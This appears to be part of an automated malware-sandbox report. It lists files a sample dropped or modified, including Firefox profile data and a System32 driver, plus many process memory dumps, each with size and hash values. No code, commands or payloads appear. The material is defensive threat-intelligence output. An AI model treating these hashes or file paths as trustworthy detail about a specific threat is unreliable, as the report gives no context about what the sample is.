C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\datareporting\glean\pending_pings\0680334b-e78b-4e98-a672-cf61632ae7ee

Filesize
235B

MD5
f0608aed7d4d2c291083891cbe826290

SHA1
70c4c796b773f4d4a82dd71a6c849277a5777516

SHA256
ff657f95f8d28ec6279347b99c496b82f8094ba05e97021802ba233ef815b428

SHA512
cd73c33da89416d7df11b2c8dfe7d356f4141fa320df758b94c3da70bfc4bf756349f26c5163bf392fc5b6b5454c052dd7d75fa7d5272262f296258476788851

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\datareporting\glean\pending_pings\1bac21e2-c547-4194-bbbf-360c715e5c51

Filesize
886B

MD5
e8da32979d890eec44ac6b82f3bba124

SHA1
f227d858588bc55e42e49e909951c61faae9878e

SHA256
f257438e3c2d10ccea6d1e3d57af132063bd4be7744edf1ea749f41357063605

SHA512
a6358cca9a4edcb45caee96e7e0a95fd40bc51d4248a8863d740ec2a1bdd6ee4b4d0ba90c8d5c389b049aaf691f340169dc12f69a4cecaf26e0693d7a9c3ec94

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\datareporting\glean\pending_pings\29109b81-cafb-40b8-b95d-1f1c4099bce0

Filesize
2KB

MD5
aa8d32792468e7dd6f60073f3668ff01

SHA1
19c3012082b20525066b21e0aa593cb46122bcb0

SHA256
0052dddd772cf6e8cf67ea1c9ee62a9631678ae1e92f11850e1779aca3a0ec23

SHA512
dccac0188a05f1390a827035609adecda915518224b986ab3eed87a1458e977e613b0ba7283751c787479a5e90dc4ee060a00f1ed733518692d6babd6a8489cf

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\datareporting\glean\pending_pings\941cd1b7-8e14-4562-9a58-f4a6a952216d

Filesize
883B

MD5
e2adcc3f44aa75d4aa71df7aceedbd69

SHA1
734661de17377329514552f93f141b8fa3ac8f2c

SHA256
40f2e973bb47a40435b990242da53fe538f9be46bf317b0491116922ff827b86

SHA512
f49422512798399f852907f2946a4dccf5073d68692a2cf340dc3e23d5589f6f9dd54c35a1de25d6f7287c273d226aa36730a0917647161392a5a37e6770277d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\datareporting\glean\pending_pings\cc8eb925-250d-4c0f-a459-67c0972ec62d

Filesize
16KB

MD5
645135bd6cdac905b2fc6824ac840e74

SHA1
a2825bae2fda8c47498876296464d6d73154a52d

SHA256
8d3ab138cd05d2f0df31578e61d8ec949f708ccf3f17b50d2949a2f0a5980c03

SHA512
d2b715ca53d32e5921a43a6d0856b37cbfd598c58ee7d08cc3191d4ae1a42c13d2c600f747858df631bf83ae5c77799c83a4c29ee71744d90cb0dde261f36dad

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\datareporting\glean\pending_pings\d37ac24d-1f97-4602-900a-904aa7332c23

Filesize
235B

MD5
1654bd0f752ec9e3ee4e8f72fdfb2ca5

SHA1
fa776ac4a675327166a70cb1f9bba0a23db78c60

SHA256
440eac52a162c7990f174d85250e06e156b5df634acd14850c016c46bf2592d3

SHA512
36b89201729989b06a79dcba799da528095336c7a91eaf89ba07359e43f212f4d84e2691cf1250da93544235fd23ce4d0d63c82c7d4f3129bf22f89474bd69e2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\extensions.json

Filesize
16KB

MD5
70c9844917f4571f2353ed2050a9c696

SHA1
a95d61d11b47eaf1851d039761282070e62736bf

SHA256
3c8fde3df6014646bf8dd40d4c222f479bdbd4fab24b8f641f87e27fae115ef1

SHA512
e5355b40effb36a87cc409f590fb03df2eec390eb0db1d92cbbe107bd368d9ec7ddbc9b7e34bb58cc39433d65140d46c0fe8efb69f472d2095c36191861e421e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll

Filesize
1.1MB

MD5
626073e8dcf656ac4130e3283c51cbba

SHA1
7e3197e5792e34a67bfef9727ce1dd7dc151284c

SHA256
37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651

SHA512
eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info

Filesize
116B

MD5
ae29912407dfadf0d683982d4fb57293

SHA1
0542053f5a6ce07dc206f69230109be4a5e25775

SHA256
fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6

SHA512
6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\gmp-widevinecdm\4.10.2891.0\manifest.json

Filesize
1001B

MD5
32aeacedce82bafbcba8d1ade9e88d5a

SHA1
a9b4858d2ae0b6595705634fd024f7e076426a24

SHA256
4ed3c6389f6f7cd94db5cd0f870c34a296fc0de3b1e707fccf01645b455790ce

SHA512
67dfe5632188714ec87f3c79dbe217a0ae4dfb784f3fac63affd20fef8b8ef1978c28b3bf7955f3daaf3004ac5316b1ffa964683b0676841bab4274c325c6e2b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\gmp-widevinecdm\4.10.2891.0\widevinecdm.dll

Filesize
18.5MB

MD5
1b32d1ec35a7ead1671efc0782b7edf0

SHA1
8e3274b9f2938ff2252ed74779dd6322c601a0c8

SHA256
3ed0dec36754402707c2ae4fbfa887fe3089945f6f7c1a8a3e6c1e64ad1c2648

SHA512
ab452caa2a529b5bf3874c291f1ffb2a30d9ea43dae5df6a6995dde4bc3506648c749317f0d8e94c31214e62f18f855d933b6d0b6b44634b01e058d3c5fcb499

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\prefs-1.js

Filesize
8KB

MD5
ffbe44edf560fe841696a3a5fde99538

SHA1
282eace5fd1009cc35af045580e65a4b0e0d4e78

SHA256
d4da5ddaa8f27535dc59ae3ab3ab8cb7acdc4dfbac81b9cd647bd6b3158ddf05

SHA512
584a6b757e7a82bfc58458a8a5fe1f83dc2cb4dd82736d750f3a7f652761b76d77cd7af3e29454d78fc3c9cd452d727a4503f6368dce6d752c4b3a668652f84e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\prefs-1.js

Filesize
12KB

MD5
4ac3236fa1f99d581afd3e5924e9531d

SHA1
5146feb32b4abe56fbc81e3ac3f037fe2a3205b3

SHA256
efe751f73ec9c6fcdfb5f79a9aaeb509ed00978e7a84ef6ac31d370a96dfc024

SHA512
5404bd11d8be5ae7b0baa67ad38042f60b208137c25ca70eaf266dd79588181da4ac597e5952a9a2fffdf6a477c4445fabe466b6a113d6baf6a7548efc3a3f81

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\prefs-1.js

Filesize
6KB

MD5
79a310af872ff472df77cb783dd8827a

SHA1
8ecba97f368767117535003b30f377442dd38822

SHA256
e333e5a97f3fec4ceec6e3b81188942493b5582869d977527246001cd85308e7

SHA512
4c9ec0d0e27554c55582849da85f54366aec9322b7aa21d1161929c6b0f70ba892e58f74fdc97feff53af20149f7f11ce4aadce774c31614200facf056545f6e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\prefs.js

Filesize
6KB

MD5
4631a4d15e259f5d657845db457a6bcd

SHA1
59879c5adc1115a95b82be4c2a3f282f2ac1bdc3

SHA256
cf8ff2ea880424e596ec72be51ebea95558bc78949df0a0036ff692a3cb939f6

SHA512
606a3bd3be56183984b83660f6bb7c297f0084b776ce1664616f4c9bd5e793e3d8d1751b83adaad11eb24fa1b4e729a7d4aa1e8bb6de280877a5c165a429b05d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\prefs.js

Filesize
6KB

MD5
e6ff24d873c9cb83d855ef3abe1cf42c

SHA1
e62075af9190650b5ccd337e891108c2a7382b9c

SHA256
726b40baa4107d7b969ad870eeccb20ed499c6db25fd4b0315adc12c6e1fab4d

SHA512
5c165958aef72be2632961ec7704566f19c3b7feb5229767641d23588996d379efeda14f1327bdc7da70cf5412a4d1defb8c58ebf490262f83c1e70d013bf593

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
6c7c6305e37de17d0e69d7b86bf13102

SHA1
0b17a849f4b569b3bdef0ba7a3700d03759a650e

SHA256
39d796da9fcc46ba91ba1d66373054d0cdddcb68d0b50d0b25312cd5c6bde111

SHA512
8dc37f4a71fa540371f2ad506c7416fbc99c46c695f85379e4ae3c689dca5aaefc3cf03053986f981b05d3bf882b3c3cb78ef776359fd7b0af9b4eeabb0f30f4

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0o5pj305.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
10.4MB

MD5
456dcad7beb2efdb6f9f3f2a72ece0ff

SHA1
bed6f931867cf25d1c079aeae087362eb25c613f

SHA256
2bc6e2318bc6e039f0ceb833f28ce52c508f58fc0c2b01135436a1d1b526b3d4

SHA512
7f633263140c3ff45cc9cc647bd1aa7dbb16d1cc42a69283a43e10cdfbf8a5f885845562ea33096d6771c5a093e2f3f7ed656a3d9986a10fb98dd8a0a5851c59

Download Submit
C:\Windows\System32\drivers\klupd_ee9d4903a_klbg.sys

Filesize
199KB

MD5
424b93cb92e15e3f41e3dd01a6a8e9cc

SHA1
2897ab04f69a92218bfac78f085456f98a18bdd3

SHA256
ccb99a2eeb80cd74cc58691e7af7fce3264b941aea3d777d9e4a950b9e70b82e

SHA512
15e984a761d873eef0ab50f8292fbba771208ff97a57b131441666c6628936c29f8b1f0e04ef8e880f33ef6fccebd20db882997ca3504c9e5ea1db781b9ffb0f

Download Submit
memory/1580-47-0x00000000001F0000-0x0000000000689000-memory.dmp

Filesize
4.6MB

Download
memory/1580-32-0x00000000001F0000-0x0000000000689000-memory.dmp

Filesize
4.6MB

Download
memory/1956-96-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/1956-97-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/1972-113-0x0000000000C50000-0x0000000001101000-memory.dmp

Filesize
4.7MB

Download
memory/1972-114-0x0000000000C50000-0x0000000001101000-memory.dmp

Filesize
4.7MB

Download
memory/3008-129-0x00007FF6E2C50000-0x00007FF6E32C9000-memory.dmp

Filesize
6.5MB

Download
memory/3008-130-0x00007FF6E2C50000-0x00007FF6E32C9000-memory.dmp

Filesize
6.5MB

Download
memory/3420-929-0x00000261D24A0000-0x00000261D24C2000-memory.dmp

Filesize
136KB

Download
memory/3460-883-0x0000000000400000-0x0000000000681000-memory.dmp

Filesize
2.5MB

Download
memory/3708-831-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-48-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-81-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-619-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-80-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-98-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-594-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/3708-131-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/4004-2584-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2579-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2578-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2577-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2575-0x0000000140000000-0x000000014043E000-memory.dmp

Filesize
4.2MB

Download
memory/4004-2580-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2581-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2582-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2583-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/4004-2585-0x00000000009E0000-0x0000000000B68000-memory.dmp

Filesize
1.5MB

Download
memory/5096-909-0x000001434B180000-0x000001434B1F1000-memory.dmp

Filesize
452KB

Download
memory/5096-894-0x00000000000C0000-0x00000000000C2000-memory.dmp

Filesize
8KB

Download
memory/5096-902-0x000001434B180000-0x000001434B1F1000-memory.dmp

Filesize
452KB

Download
memory/5096-2073-0x000001434B180000-0x000001434B1F1000-memory.dmp

Filesize
452KB

Download
memory/5096-895-0x000001434B180000-0x000001434B1F1000-memory.dmp

Filesize
452KB

Download
memory/5096-910-0x000001434B180000-0x000001434B1F1000-memory.dmp

Filesize
452KB

Download
memory/5316-28863-0x0000000000500000-0x0000000000999000-memory.dmp

Filesize
4.6MB

Download
memory/5316-28866-0x0000000000500000-0x0000000000999000-memory.dmp

Filesize
4.6MB

Download
memory/5360-79-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/5360-78-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/5452-18-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

Filesize
304KB

Download
memory/5452-20-0x0000000005F80000-0x0000000005F9A000-memory.dmp

Filesize
104KB

Download
memory/5452-4-0x0000000004BA0000-0x0000000004BC2000-memory.dmp

Filesize
136KB

Download
memory/5452-17-0x0000000005A60000-0x0000000005A7E000-memory.dmp

Filesize
120KB

Download
memory/5452-3-0x0000000004D70000-0x0000000005398000-memory.dmp

Filesize
6.2MB

Download
memory/5452-19-0x0000000007190000-0x000000000780A000-memory.dmp

Filesize
6.5MB

Download
memory/5452-16-0x0000000005670000-0x00000000059C4000-memory.dmp

Filesize
3.3MB

Download
memory/5452-2-0x0000000002480000-0x00000000024B6000-memory.dmp

Filesize
216KB

Download
memory/5452-24-0x0000000007DC0000-0x0000000008364000-memory.dmp

Filesize
5.6MB

Download
memory/5452-5-0x0000000004C40000-0x0000000004CA6000-memory.dmp

Filesize
408KB

Download
memory/5452-22-0x0000000006FB0000-0x0000000007046000-memory.dmp

Filesize
600KB

Download
memory/5452-23-0x0000000006F40000-0x0000000006F62000-memory.dmp

Filesize
136KB

Download
memory/5452-6-0x0000000004CB0000-0x0000000004D16000-memory.dmp

Filesize
408KB

Download
memory/6312-639-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/6312-640-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/6708-733-0x0000000002DD0000-0x0000000002E36000-memory.dmp

Filesize
408KB

Download
memory/6708-732-0x0000000000D00000-0x0000000000D01000-memory.dmp

Filesize
4KB

Download
memory/6908-2535-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/6908-2532-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/8048-28854-0x00000000068B0000-0x00000000068FC000-memory.dmp

Filesize
304KB

Download
memory/8048-28853-0x0000000005CD0000-0x0000000006024000-memory.dmp

Filesize
3.3MB

Download
memory/8416-28984-0x0000000000400000-0x00000000008B8000-memory.dmp

Filesize
4.7MB

Download
memory/8416-28881-0x0000000000400000-0x00000000008B8000-memory.dmp

Filesize
4.7MB

Download
memory/8916-28967-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/8916-28950-0x0000000000BE0000-0x0000000001079000-memory.dmp

Filesize
4.6MB

Download
memory/10044-29174-0x000002284D3C0000-0x000002284D468000-memory.dmp

Filesize
672KB

Download
memory/10044-29175-0x00000228678A0000-0x00000228679AA000-memory.dmp

Filesize
1.0MB

Download
memory/10044-31984-0x0000022867A10000-0x0000022867A5C000-memory.dmp

Filesize
304KB

Download
memory/10044-31983-0x00000228679B0000-0x0000022867A06000-memory.dmp

Filesize
344KB

Download
memory/10044-31985-0x0000022867B60000-0x0000022867BB4000-memory.dmp

Filesize
336KB

Download
memory/11368-31998-0x0000000000FB0000-0x0000000001451000-memory.dmp

Filesize
4.6MB

Download
memory/11368-32143-0x0000000000FB0000-0x0000000001451000-memory.dmp

Filesize
4.6MB

Download